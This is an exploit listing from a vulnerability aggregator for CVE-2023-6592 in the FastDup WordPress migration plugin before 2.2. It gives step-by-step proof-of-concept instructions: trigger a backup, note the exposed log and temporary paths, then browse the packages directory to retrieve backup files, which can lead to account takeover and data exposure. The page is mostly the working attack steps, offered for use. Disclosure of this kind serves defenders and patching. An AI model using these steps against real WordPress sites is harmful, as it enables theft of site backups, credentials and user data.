Exploit for FastDup – Fastest WordPress Migration & Duplicator < 2.2 - Directory Listing to Account Takeover and Sensitive Data Exposure CVE-2023-6592

Name: Exploit for FastDup – Fastest WordPress Migration & Duplicator < 2.2 - Directory Listing to Account Takeover and Sensitive Data Exposure CVE-2023-6592
Rating: 5 (129 reviews)

2024-01-15 | CVSS 5.0

## https://sploitus.com/exploit?id=WPEX-ID:A39BB807-B143-4863-88FF-1783E407D7D4
1) Run backup function http://your_site/wordpress/wp-admin/admin.php?page=njt-fastdup#/
2) During backup creation, you can intercept the following paths:
wordpress/wp-content/plugins/fastdup/logs
wordpress/wp-content/njt-fastdup/tmp
3) After backup go to /wordpress/wp-content/njt-fastdup/packages/ and see all backup files inside directory